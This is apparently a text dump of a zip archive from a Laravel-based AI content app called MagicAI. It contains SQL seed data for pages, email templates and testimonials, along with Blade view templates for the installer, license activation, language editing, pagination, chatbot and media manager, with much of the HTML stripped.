Our newest theme update brings modern and clean design templates to Hub Collection which is already one of the biggest template collections ever built. These layouts are designed in a simple and unique style that can improve your daily workflow and save you an enormous amount of time.

\r\n

Test built the Liquid app as a Commercial app. This Service is provided by Test and is intended for use as is.

\r\n

If you choose to use our Service, then you agree to the collection and use of information in relation to this policy. The Personal Information that we collect is used for providing and improving the Service. We will not use or share your information with anyone except as described in this Privacy Policy.

\r\n

The terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, which are accessible at Liquid unless otherwise defined in this Privacy Policy.

\r\n

 

\r\n
\r\n
 
\r\n
Fair Use
\r\n

For a better experience, while using our Service, we may require you to provide us with certain personally identifiable information, including but not limited to Test. The information that we request will be retained by us and used as described in this privacy policy.

\r\n

The app does use third-party services that may collect information used to identify you.

\r\n

Link to the privacy policy of third-party service providers used by the app

\r\n

We want to inform you that whenever you use our Service, in a case of an error in the app we collect data and information (through third-party products) on your phone called Log Data. This Log Data may include information such as your device Internet Protocol (“IP”) address, device name, operating system version, the configuration of the app when utilizing our Service, the time and date of your use of the Service, and other statistics.

\r\n

 

\r\n
Cookies
\r\n

Cookies are files with a small amount of data that are commonly used as anonymous unique identifiers. These are sent to your browser from the websites that you visit and are stored on your device’s internal memory.

\r\n

This Service does not use these “cookies” explicitly. However, the app may use third-party code and libraries that use “cookies” to collect information and improve their services. You have the option to either accept or refuse

\r\n

 

\r\n

Still have a question? Browse documentation or submit a ticket.

', 'custom-privacy-and-policy', 0, '2024-02-13 03:48:09', '2024-02-14 14:15:29', 0,1), ('How It Works', '

Trusted by these amazing companies

\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\"\"\"\"\"\"\"\"
\r\n

 

\r\n

At MagicAI, we are passionate about harnessing the power of artificial intelligence to unlock limitless creativity and efficiency. Our cutting-edge AI Generators are designed to revolutionize the way you create, streamline your workflows, and supercharge your productivity.

\r\n

 

\r\n

1

\r\n

Select a Template

\r\n

Our mission is to empower individuals and businesses to unleash their creative potential and achieve extraordinary results. We believe that AI has the ability to augment human capabilities, enhance decision-making processes, and accelerate innovation.

\r\n

 

\r\n

2

\r\n

Explain your idea

\r\n

AI generators are sophisticated systems trained on vast amounts of data to learn patterns, understand context, and generate original content. They are designed to mimic human creativity by analyzing existing examples.

\r\n

 

\r\n

3

\r\n

Done!

\r\n

By developing state-of-the-art AI Generators, we aim to democratize access to advanced AI technologies, enabling users from all backgrounds to excel in their creative endeavors.

\r\n

 

\r\n

Still have a question? Browse documentation or submit a ticket.

\r\n

 

\r\n

\"How

\r\n

 

\r\n

Invite a Friend

\r\n

Affiliate System.

\r\n

We pride ourselves on offering AI Generators that are unmatched in their quality, versatility, and ease of use. Here’s what sets us apart from the competition:

\r\n
Done!
\r\n

Join our community of innovators, creators, and forward-thinkers who are leveraging the power of AI to revolutionize their industries. Start your journey with MagicAI today and unlock the full potential of AI Generators.

\r\n

 

\r\n

\"\"

\r\n
Invite your Friend
\r\n

With our AI Generators, the possibilities are endless. From generating compelling marketing copy and designing stunning visuals to automating data analysis and creating personalized user experiences.

\r\n

 

\r\n

\"\"

\r\n
Make Money
\r\n

Ready to experience the future of creativity? Sign up now and embark on an exciting adventure of limitless possibilities.

\r\n

 

\r\n

 

\r\n

Still have a question? Browse documentation or submit a ticket.

', 'custom-how-it-works', 0, '2024-02-13 03:49:08', '2024-02-14 13:37:35', 1,1), ('Features', '

\"About

\r\n

 

\r\n

Introducing

\r\n

Custom Chatbots.

\r\n

We pride ourselves on offering AI Generators that are unmatched in their quality, versatility, and ease of use. Here’s what sets us apart from the competition:

\r\n

With our AI Generators, the possibilities are endless. From generating compelling marketing copy and designing stunning visuals to automating data analysis and creating personalized user experiences, our tools will transform the way you work and help you achieve remarkable outcomes.

\r\n

Join our community of innovators, creators, and forward-thinkers who are leveraging the power of AI to revolutionize their industries. Start your journey with MagicAI today and unlock the full potential of AI Generators.

\r\n

Ready to experience the future of creativity? Sign up now and embark on an exciting adventure of limitless possibilities.

\r\n', 'custom-features', 0, '2024-02-14 12:27:38', '2024-02-14 13:25:50', 1,1); PKJW]5¦8å  dev_tools/email_templates.sqlnu„[µü¤ INSERT INTO `email_templates` (`title`, `subject`, `content`, `created_at`, `updated_at`) VALUES ('Confirmation', 'Confirmation Email', '
\r\n

Hello, {user_name}!

\r\n

Welcome to {site_name}!

\r\n\r\n

We are pleased to inform you that your {site_name} account has been successfully created.

\r\n

Our platform offers a wide range of features and services to help you achieve your goals.

\r\n

You can use {site_name} for:

\r\n

\r\n

\r\n

\r\n

Thank you for choosing {site_name} as your partner in achieving your goals. We look forward to working with you and helping you succeed.

\r\n
\r\n\r\n
\r\n\r\n\r\n Confirm My Account\r\n\r\n\r\n

Need help? Contact us.

', NULL, '2023-06-23 15:34:21'), ('Invite', 'Invite Email', '
\r\n

You are Invited! Congrats!

\r\n

{site_name}

\r\n

Hey,

\r\n

We’re excited to invite you to join {site_name}. It is designed to help businesses and individuals leverage the power of artificial intelligence to generate any kind of content easily.

\r\n

You can use {site_name} for:

\r\n

\r\n

\r\n

\r\n

Once you have created your account, you can start exploring the platform and see for yourself how it can benefit you.

\r\n

Thank you for considering this invitation. I look forward to seeing you on {site_name}.

\r\n
\r\n\r\n
\r\n\r\n\r\n Discover {site_name}\r\n\r\n\r\n

Need help? Contact us.

', NULL, '2023-07-14 17:29:47'), ('Password Reset', 'Password Reset', '
\r\n

Password Reset

\r\n

Hey,

\r\n

We noticed that you recently requested to reset your password. To ensure the security of your account, we have reset your password for you.

\r\n

Sincerely,

\r\n

{site_name}

\r\n
\r\n\r\n
\r\n\r\n\r\n Reset Password\r\n\r\n\r\n

Need help? Contact us.

', NULL, '2023-06-23 15:38:48');PKJW]¼ uudev_tools/testimonials.sqlnu„[µü¤INSERT INTO `testimonials` (`avatar`, `full_name`, `job_title`, `words`, `created_at`, `updated_at`) VALUES ('202306020840avatar-1.jpg', 'Peline Jan', 'Entrepreneur', '“Not only did it save me time, but it also helped me \nproduce content that was more engaging and \neffective than what I had been creating on my own.â€�', '2023-05-29 19:30:53', '2023-06-02 08:40:35'), ('202306020840avatar-3.jpg', 'Tom Daniel', 'Writer', 'As a freelance writer, I was looking for a tool that could help me generate ideas and write faster. This AI Text website has done that and more.', '2023-05-30 07:52:22', '2023-06-02 08:40:47'), ('202306020840avatar-2.jpg', 'Eric Sanchez', 'UX Designer', 'The customer support team has been incredibly helpful whenever I’ve had any questions. I can’t imagine going back to my old content-creation methods!', '2023-05-30 07:53:14', '2023-06-02 08:40:58'); PKJW]^&PÍÍdev_tools/frontend_tools.sqlnu„[µü¤INSERT INTO `frontend_tools` (`title`, `description`, `image`, `created_at`, `updated_at`) VALUES ('Advanced Dashboard', 'Track a wide range of data points, including user traffic and sales.', 'upload/images/frontent/tools/v6sP-test.png', '2023-05-29 14:18:13', '2023-05-29 14:18:31'), ('Payment Gateways', 'Securely process credit card or other electronic payment methods.', 'upload/images/frontent/tools/Payments100.jpg', '2023-05-29 14:19:49', '2023-05-29 14:19:49'), ('Multilingual', 'Ability to understand and generate content in different languages.', 'upload/images/frontent/tools/NZBW-multilingual.png', '2023-05-29 14:20:18', '2023-05-29 14:20:18'), ('Affiliate System', 'Ability to invite friends, and earn commission from their first purchase.', 'upload/images/frontent/tools/RAhq-affiliate-system.png', '2023-05-29 14:20:49', '2023-05-29 14:20:49'), ('Easy Export', 'Export generated content as plain text, PDF, Word or HTML easily.', 'upload/images/frontent/tools/mPWB-easy-export.png', '2023-05-29 14:21:05', '2023-05-29 14:21:05'), ('Support Platform', 'Access and mage support tickets from your dashboard.', 'upload/images/frontent/tools/rIwa-support-platform.png', '2023-05-29 14:21:21', '2023-05-29 14:21:21'); PKJW]Nßu .DS_Storenu„[µü¤Bud1sbwspblobviewsbwspblob¸bplist00Ö ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{293, 274}, {920, 436}} #/;R_klmnoŠ ‹viewsvSrnlong  @€ @€ @€ @ EDSDB `€ @€ @€ @PKJW]Lôáviews/.DS_Storenu„[µü¤Bud1ultbwspbldefaultbwspblob¸bplist00Ö ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{293, 274}, {920, 436}} #/;R_klmnoŠ ‹defaultvSrnlong  @€ @€ @€ @ EDSDB `€ @€ @€ @PKJW]hƒà&CC/views/vendor/laraupdater/notification.blade.phpnu„[µü¤ PKJW] «ˆnn0views/vendor/installer/update/finished.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master-update') @section('title', trans('installer_messages.updater.final.title')) @section('container')

{{ session('message')['message'] }}

{{ trans('installer_messages.updater.final.exit') }}
@stop PKJW]‰TZ œœ/views/vendor/installer/update/welcome.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master-update') @section('title', trans('installer_messages.updater.welcome.title')) @section('container')

{{ trans('installer_messages.updater.welcome.message') }}

{{ trans('installer_messages.next') }}
@stop PKJW]VeT©õõ0views/vendor/installer/update/overview.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master-update') @section('title', trans('installer_messages.updater.welcome.title')) @section('container')

{{ trans_choice('installer_messages.updater.overview.message', $numberOfUpdatesPending, ['number' => $numberOfUpdatesPending]) }}

{{ trans('installer_messages.updater.overview.install_updates') }}
@stop PKJW]ñŒ�æ4views/vendor/installer/environment-classic.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.environment.classic.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.environment.classic.title') }} @endsection @section('container')
{!! csrf_field() !!}
@if( ! isset($environment['errors']))
{!! trans('installer_messages.environment.classic.back') !!} {!! trans('installer_messages.environment.classic.install') !!}
@endif @endsectionPKJW]¥Ûª/\/\3views/vendor/installer/environment-wizard.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.environment.wizard.templateTitle') }} @endsection @section('title') {!! trans('installer_messages.environment.wizard.title') !!} @endsection @section('container')

{{ __('Setup') }}


@endsection PKJW]•SO))0views/vendor/installer/env_file_editor.blade.phpnu„[µü¤
@csrf

MagicAI Installer


General







Database


E-Mail

PKJW]' P””)views/vendor/installer/finished.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.final.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.final.title') }} @endsection @section('container')

{{ __('Done') }}!

{{ __('Installation Completed.') }}

{{ __('You have completed the smart installation. You can now register your product in 10 seconds unlock exclusive features.') }}

{{ __('Explore MagicAI') }} @endsection PKJW]‹¢)n££(views/vendor/installer/license.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master', ['stepShow' => false]) @section('template_title') {{ trans('Activate you license') }} @endsection @section('title') {{ trans('installer_messages.welcome.title') }} @endsection @section('container')
@includeWhen(is_null($portal), 'vendor.installer.magicai_c4st_Act', ['button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white', 'target' => '','return_url' => route('LaravelInstaller::license') . '?license=verified']) @includeWhen($portal, 'vendor.installer.magicai_license_token', ['button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white'])
@endsection PKJW])ÍÍ6views/vendor/installer/magicai_license_token.blade.phpnu„[µü¤@props([ 'site_name' => isset($site_name) ? $site_name : 'MagicAi' ])
@csrf

{{ __('Activate your license') }}

{{ __('Activate') }}
PKJW]RŽ-»G»G-views/vendor/installer/subscription.blade.phpnu„[µü¤@php $premium_features = [ 'VIP Support' => 'Get instant help whenever you need it.', 'Access to All Current & Future Extensions worth $2000+' => 'Always stay ahead with the latest features.' , 'Access to All Current & Future Themes worth $670'=> 'Always stay ahead with the latest designs.' , 'Get the Mobile App Free in Your 4th Month! worth $3000+' => 'Enjoy a free mobile app after your fourth month of subscription.' , '10 Hours of Custom Development Every Month' => 'Tailored improvements, at no extra cost.' , 'Direct Communication with Our Development Team' => 'No middlemen, just solutions.' , 'Exclusive Extensions Not Available to Others' => 'Stay ahead of competition, reserved for VIPs only.' , 'Complimentary Logo Design' => 'A custom logo to elevate your brand.' , 'Personalized Onboarding Assistance' => 'We’ll help you get up and running smoothly.' , 'Free Setup & Configuration Services' => 'Let us handle the technical details for you.' , ]; @endphp @extends('vendor.installer.layouts.master', ['stepShow' => false]) @section('template_title') {{ trans('Marketplace Subscription') }} @endsection @section('title') {{ trans('installer_messages.welcome.title') }} @endsection @section('style') @endsection @section('content')

{{ trans('Start Your ') }} {{ trans('Premium Membership.') }}

    @foreach ($premium_features as $feature => $tooltip)
  • {!! $feature !!}
  • @endforeach
@if ($data) {{ trans('Subscription activated') }} @else {{ trans('Join the VIP Program') }} @endif
{{ trans('Included Extensions') }}
    @foreach ($paidExtensions as $item)
  • {!! trans($item['name']) !!}
  • @endforeach
{{ trans('Included Themes') }}
    @foreach ($paidThemes as $item)
  • {!! trans($item['name']) !!}
  • @endforeach

{{ trans('Seats are limited.') }} {{ trans('Learn more about') }} {{ trans('Premium Membership') }}

{{-- @includeWhen(is_null($portal), 'vendor.installer.magicai_c4st_Act', [ 'button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white', 'target' => '', 'return_url' => route('LaravelInstaller::license') . '?license=verified', ]) @includeWhen($portal, 'vendor.installer.magicai_license_token', [ 'button' => 'flex items-center justify-center gap-2 rounded-xl p-2 font-medium shadow-[0_4px_10px_rgba(0,0,0,0.05)] transition-all duration-300 hover:scale-105 hover:bg-black hover:text-white', ]) --}}
@endsection PKJW]p”Mqè è 1views/vendor/installer/magicai_c4st_Act.blade.phpnu„[µü¤@props([ 'site_name' => isset($site_name) ? $site_name : 'MagicAi', 'return_url' => isset($return_url) ? $return_url : url('/'). '/activate?callback=true', 'target' => isset($target) ? $target : '_blank', 'text' => isset($text) ? $text : 'Activate', ])

{{ __($text . ' your license') }}

{{ __('Thanks for purchashing') }} {{ $site_name }}! {{ __('Please connect to') }} Liquid Portal {{ __('to verify your purchase.') }}

{{ __('Choose your enviroment:') }}

{{ __('Connect to Liquid Portal') }}

{{ __('Having trouble?') }} {{ __('Check documentations') }}

PKJW]r!¸JJ(views/vendor/installer/welcome.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.welcome.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.welcome.title') }} @endsection @section('container')

{{ __('Welcome') }}

🪄

{{ __('Let’s start.') }}

{{ __('Thanks for purchasing MagicAI! You can now install your product in seconds and unlock the magic of AI. Let’s get you started!') }}

{{ __('Need help?') }} {{ __('See how it works') }}

{{ __('Next') }} @endsection PKJW]p9OÉ·a·a/views/vendor/installer/layouts/master.blade.phpnu„[µü¤@props([ 'stepShow' => $stepShow ?? true, ]) @if (trim($__env->yieldContent('template_title'))) @yield('template_title') | @endif {{ trans('installer_messages.title') }} @php $link = 'resources/views/' . get_theme() . '/scss/landing-page.scss'; @endphp @vite($link) @yield('style') @if ($stepShow)
1 @if (Request::is('install') || Request::is('install/requirements') || Request::is('install/permissions') || Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic')) @endif {{ __('Welcome') }}
2 @if (Request::is('install') || Request::is('install/requirements') || Request::is('install/permissions') || Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic')) @endif {{ __('Server Requirements') }}
3 @if (Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic')) @endif {{ __('Database Setup') }}
4 {{ __('Done') }}
@endif @if (view()->hasSection('content')) @yield('content') @else
@if (session('message') || session()->has('errors'))
@if (session('message'))

@if (is_array(session('message'))) {{ session('message')['message'] }} @else {{ session('message') }} @endif

@endif @if (session()->has('errors'))

{{ trans('installer_messages.forms.errorTitle') }}

    @foreach ($errors->all() as $error)
  1. {{ $error }}
  2. @endforeach
@endif
@endif
@yield('container')
@if (!empty($back_href)) @endif
@endif
@yield('scripts') PKJW]ÊÈýV""6views/vendor/installer/layouts/master-update.blade.phpnu„[µü¤ @if (trim($__env->yieldContent('template_title'))) @yield('template_title') | @endif {{ trans('installer_messages.updater.title') }} {{-- --}} @yield('style')

@yield('title')

@yield('container')
PKJW]Vß�¼uu,views/vendor/installer/permissions.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.permissions.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.permissions.title') }} @endsection @section('container') @if ( ! isset($permissions['errors']))
{{ trans('installer_messages.permissions.next') }}
@endif @endsection PKJW]É.ÈÇÇ,views/vendor/installer/environment.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.environment.menu.templateTitle') }} @endsection @section('title') {!! trans('installer_messages.environment.menu.title') !!} @endsection @section('container')

{!! trans('installer_messages.environment.menu.desc') !!}

{{ trans('installer_messages.environment.menu.wizard-button') }} {{ trans('installer_messages.environment.menu.classic-button') }}
@endsection PKJW]£ùW^^-views/vendor/installer/requirements.blade.phpnu„[µü¤@extends('vendor.installer.layouts.master') @section('template_title') {{ trans('installer_messages.requirements.templateTitle') }} @endsection @section('title') {{ trans('installer_messages.requirements.title') }} @endsection @section('container')

{{ __('Server Requirements') }}

@foreach ($requirements['requirements'] as $type => $requirement) @endforeach @if (!isset($requirements['errors']) && $phpSupportInfo['supported']) {{ __('Next') }} @endif @endsection PKJW]q úCá á 'views/vendor/l5-swagger/index.blade.phpnu„[µü¤ {{config('l5-swagger.documentations.'.$documentation.'.api.title')}}
PKJW] views/vendor/l5-swagger/.gitkeepnu„[µü¤PKJW]Ì3·¦**views/vendor/empty.blade.phpnu„[µü¤{{--IMPORTANT: Don't remove this file--}} PKJW]Üoïkkk!views/vendor/langs/home.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @php $fields = \DB::getSchemaBuilder()->getColumnListing('strings'); if (!in_array('edit', $fields)) { \Illuminate\Support\Facades\Schema::table('strings', function (\Illuminate\Database\Schema\Blueprint $table) { $table->text('edit')->nullable(); }); } @endphp @section(config('elseyyid-location.content_section')) @include('langs::includes.tools') @php $codes = explode(',', $settings_two->languages); @endphp

{{ __('Available Languages') }}

{{ country2flag('us') }} {{ ucfirst('English') }}en


@foreach ($langs as $lang) @if ($lang == 'pt_BR' || $lang == 'edit') @continue @endif @php $lang_region = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['regional']; @endphp @php $lang_native = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['native']; @endphp

{{ country2flag(substr($lang_region, strrpos($lang_region, '_') + 1)) }} {{ ucfirst($lang_native) }}{{ $lang }}

@endforeach
@endsection PKJW]@×#**!views/vendor/langs/list.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @section(config('elseyyid-location.content_section'))
@if ($lang != 'edit') @php $lang_region = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['regional']; @endphp @php $lang_native = LaravelLocalization::getSupportedLocales()[str_replace('_','-',$lang)]['native']; @endphp

{{ __('Editing Language') }}: {{ country2flag(substr($lang_region, strrpos($lang_region, '_') + 1)) }}{{ ucfirst($lang_native) }} {{ $lang }}

@else

{{ __('Editing Main Strings') }}

@endif
@csrf
@foreach ($list as $key => $value) @foreach ($value->toArray() as $key => $element) @if ($key !== 'code') @if ($key === 'en') @else @endif @endif @endforeach @endforeach
{{ __('String') }} {{ __('Translation') }}
{{ $element }}
Save
@endsection @section(config('elseyyid-location.scripts_section')) @endsection PKJW]—ãåªQ Q !views/vendor/langs/lang.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @section(config('elseyyid-location.content_section')) @include('langs::includes.tools')

String {{$string->en}} ({{$string->code}})

@foreach (collect($string)->except(['code','created_at','updated_at'])->toArray() as $key => $element)
{{$key}} {{country2flag($key)}}
{{$element}}

@endforeach @endsection @section(config('elseyyid-location.scripts_section')) @endsection PKJW]s¿ñ``*views/vendor/langs/search_result.blade.phpnu„[µü¤@extends(config('elseyyid-location.layout')) @section(config('elseyyid-location.content_section')) @include('langs::includes.tools')

{{__('Search Result for')}} '{{$search_value }}'

@if (count($result) > 0)
@foreach ($result as $element)
{{$element->en}}

@endforeach
@else

No results for {{ $search_value }}

@endif @endsection PKJW]“×2)views/vendor/langs/includes/nav.blade.phpnu„[µü¤ PKJW]‘G–’==.views/vendor/langs/includes/messages.blade.phpnu„[µü¤@if ($errors->any())
@foreach ($errors->all() as $error) {!! $error !!}
@endforeach
@elseif (session()->get('flash_success'))
{{__('Success')}}
@elseif (session()->get('flash_warning'))
@if(is_array(json_decode(session()->get('flash_warning'), true))) {!! implode('', session()->get('flash_warning')->all(':message
')) !!} @else {!! session()->get('flash_warning') !!} @endif
@elseif (session()->get('flash_info'))
@if(is_array(json_decode(session()->get('flash_info'), true))) {!! implode('', session()->get('flash_info')->all(':message
')) !!} @else {!! session()->get('flash_info') !!} @endif
@elseif (session()->get('flash_danger'))
@if(is_array(json_decode(session()->get('flash_danger'), true))) {!! implode('', session()->get('flash_danger')->all(':message
')) !!} @else {!! session()->get('flash_danger') !!} @endif
@elseif (session()->get('flash_message'))
@if(is_array(json_decode(session()->get('flash_message'), true))) {!! implode('', session()->get('flash_message')->all(':message
')) !!} @else {!! session()->get('flash_message') !!} @endif
@endifPKJW]mu733+views/vendor/langs/includes/tools.blade.phpnu„[µü¤
{{--
{{__('All Locations')}} {{__('Reinstall Language Files')}} {{__('Publish All Json Files')}}
--}}

PKJW]NÈr;(views/vendor/langs/layouts/app.blade.phpnu„[µü¤@extends('panel.layout.settings', ['layout' => 'fullwidth']) @section('title', __('Manage Languages')) @section('titlebar_actions')
@if (!activeRoute('elseyyid.translations.lang')) {{ __('Reinstall Language Files') }} @else {{ 'New String' }} @endif {{ __('Publish All JSON Files') }}
@endsection @section('settings') @include('langs::includes.nav') @include('langs::includes.messages') @yield('content_translation') @endsection @push('script') @yield('scripts') @endpush PKJW]ôd$YY1views/vendor/pagination/bootstrap-5-alt.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]E©‡É!!4views/vendor/pagination/simple-bootstrap-4.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]"Û”tt-views/vendor/pagination/bootstrap-4.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]ãZV˜˜4views/vendor/pagination/simple-bootstrap-5.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]àX  0views/vendor/pagination/simple-default.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]a•$Μœ&views/vendor/pagination/ajax.blade.phpnu„[µü¤@php if (!function_exists('get_page_number')) { function get_page_number(string $page_url) { $data = parse_url($page_url); parse_str($data['query'], $output); return $output['page'] ?? '1'; } } if (!isset($target_id)) { $target_id = 'lqd-posts-container'; } if (!isset($currfolder)) { $currfolder = null; } @endphp @if ($paginator->hasPages())
@endif PKJW]z9m!55-views/vendor/pagination/bootstrap-5.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]M,Ô ££1views/vendor/pagination/simple-tailwind.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]¿`Ä–MM)views/vendor/pagination/default.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]Â8F’’-views/vendor/pagination/semantic-ui.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]@Ìšš*views/vendor/pagination/tailwind.blade.phpnu„[µü¤@if ($paginator->hasPages()) @endif PKJW]k| ¸  Dviews/livewire/admin/finance/plan/subscription-plan-create.blade.phpnu„[µü¤
@lang("We've revamped the plan management system to give you full control over your pricing strategies. Your users' credits will be migrated to the new pricing system, so you may need to review and update your pricing plans. New pricing plans won't be affected.") @lang('Learn more >')
@for ($i = 1; $i <= $this->totalStep(); $i++)
$this->currentStep() >= $i, ])> {{ $i }} @lang($this->stepTitle($i))
@endfor
@includeWhen($this->currentStepIs(1), 'panel.admin.finance.plan.includes.step-first') @includeWhen($this->currentStepIs(2), 'panel.admin.finance.plan.includes.step-second') @includeWhen($this->currentStepIs(3), 'panel.admin.finance.plan.includes.step-third') @includeWhen($this->currentStepIs(4), 'panel.admin.finance.plan.includes.step-fourth') @include('panel.admin.finance.plan.includes.step-actions')
PKJW]º°���Bviews/livewire/admin/finance/plan/token-pack-plan-create.blade.phpnu„[µü¤
@lang("We've revamped the plan management system to give you full control over your pricing strategies. Your users' credits will be migrated to the new pricing system, so you may need to review and update your pricing plans. New pricing plans won't be affected.") @lang('Learn more >')
@for ($i = 1; $i <= $this->totalStep(); $i++)
$this->currentStep() >= $i, ])> {{ $i }} @lang($this->stepTitle($i))
@endfor
@if ($this->currentStepIs(1))
@endif @if ($this->currentStepIs(2)) @include('panel.admin.finance.plan.includes.step-fourth') @endif @include('panel.admin.finance.plan.includes.step-actions')
PKJW]]ü]p   views/livewire/offline.blade.phpnu„[µü¤
{{ __('No Internet Connection') }}
PKJW]¦lÁ &views/livewire/chatbot/empty.blade.phpnu„[µü¤
PKJW]'sF�••(views/livewire/chatbot/chatbot.blade.phpnu„[µü¤
@include('panel.chatbot.widget')
@assets {!! \App\Support\Chatbot\ChatbotHelper::getViteAssets('resources/views/default/js/chatbotApp.js') !!} {{----}} @endassetsPKJW]Úø‚r%views/livewire/chatbot/code.blade.phpnu„[µü¤
@if ($showCodeDialog)
{{ __('Copy to Clipboard') }}
{{ __('Copy to Clipboard') }}
{{ __('Copy to Clipboard') }}
@endif
{{--
--}} {{-- --}} {{--
--}}PKJW].öº„4 4 'views/livewire/chatbot/domain.blade.phpnu„[µü¤
  • {{ $domain->domain }}
    @if ($editDomainDialog)
    @error('editingDomain')

    {{ $message }}

    @enderror
    {{ __('Update') }}
    @endif @if ($deleteDomainDialog)
    {{ __('Are you sure you want to delete this domain?') }}
    {{ __('Cancel') }} {{ __('Delete') }}
    @endif
  • PKJW]h ûÓr r (views/livewire/chatbot/domains.blade.phpnu„[µü¤
    @if ($addDomainButton) @endif
    @if ($this->domains->isNotEmpty()) @else

    {{ __('No domains yet.') }}

    @endif
    @if ($addDomainDialog)
    @error('domain')

    {{ $message }}

    @enderror
    {{ __('Add Domain') }}
    @endif
    PKJW]=€ð[¾2¾2,views/livewire/media-manager-modal.blade.phpnu„[µü¤@php use Illuminate\Support\Str; @endphp
    {{-- Header with Title, Filters, Sorting, and Search --}}

    @lang('Content Manager')

    {{-- Filters Tabs --}}
      @foreach ($filters as $filter)
    • @endforeach
    {{-- Sorting & Search --}}
    {{ __('Sort by') }}
    @foreach ($sortButtons as $button) @endforeach
    {{-- Search input with clear button --}}
    @if (!empty($searchTerm)) @endif {{-- Search loading indicator --}}
    {{-- Upload Files Section --}} @if ($activeFilter === 'Upload Files')
    {{-- Upload Area --}}

    @lang('Drag and Drop a File')

    @lang('or')
    {{-- File Processing Indicator --}}
    @lang('Processing selected files')...

    @lang('Please wait, validating large files may take a moment.')

    {{-- File List --}} @if (count($uploadingFiles))
      @foreach ($uploadingFiles as $file)
    • {{ $file?->getClientOriginalName() }} {{ number_format($file?->getSize() / 1024, 1) }} KB
    • @endforeach
    @endif {{-- Upload Errors --}} @if (!empty($uploadErrors))
      @foreach ($uploadErrors as $error)
    • • {{ $error }}
    • @endforeach
    @endif {{-- Upload Progress --}} @if ($isUploading && !empty($uploadProgress))
    {{ $uploadProgress }}
    @endif {{-- Upload Success --}} @if (!empty($uploadedFiles) && !$isUploading)

    ✓ {{ count($uploadedFiles) }} file(s) uploaded successfully!

      @foreach ($uploadedFiles as $file)
    • • {{ $file['name'] }}
    • @endforeach
    @endif {{-- Action Buttons --}}
    {{ count($uploadingFiles) ? __('Add More') : __('Browse Files') }}

    @lang('Max :max files, :maxSize MB each.', [ 'max' => setting('media_max_files', 5), 'maxSize' => setting('media_max_size', 25), ])
    @lang('Allowed types: :types', [ 'types' => setting('media_allowed_types', 'jpg, png, gif, webp, svg, mp4, avi, mov, wmv, flv, webm, mp3, wav, m4a, pdf, doc, docx, xls, xlsx'), ])

    @endif {{-- Images Section --}} @if ($activeFilter === 'Images')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($images->count() > 0) @lang('Found :count images for', ['count' => $images->count()]) "{{ $searchTerm }}" @else @lang('No images found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($images as $image) @php $isDisabledImage = $this->isCardDisabled('image', $this->allowedTypes); @endphp
    @php $img = $image->output_url ?? $image->url; if (Str::contains($img, 'uploads')) { $img = Str::after($img, '/uploads'); $img = '/uploads' . $img; } @endphp {{ $image->title ?? $image->input }}
    {{ $image->title ?? Str::limit($image->input ?? ($image->filename ?? 'Untitled'), 30) }}
    {{-- Show creation date on hover --}}
    {{ $image->format_date ?? $image->created_at->format('M d, Y') }}
    {{-- Selection indicator --}} @if (in_array((string) $image->id, $selectedImages ?? [], true)) @endif
    @empty

    @lang('No images found.')

    @if (!empty($searchTerm))

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading indicator --}} @if ($hasMoreImages && !$isLoading && $images->count() > 0)
    @lang('Scroll for more images...')
    @endif {{-- Loading spinner --}}
    @if (!empty($selectedImages) && count($selectedImages) > 0)
    @lang($allowMultipleSelection ? 'Insert Selected Images' : 'Insert Selected Image') @if ($allowMultipleSelection) ({{ count($selectedImages) }}) @endif
    @endif @endif {{-- Videos Section --}} @if ($activeFilter === 'Videos')
    {{-- Search results info --}} @if (!empty($searchTerm))
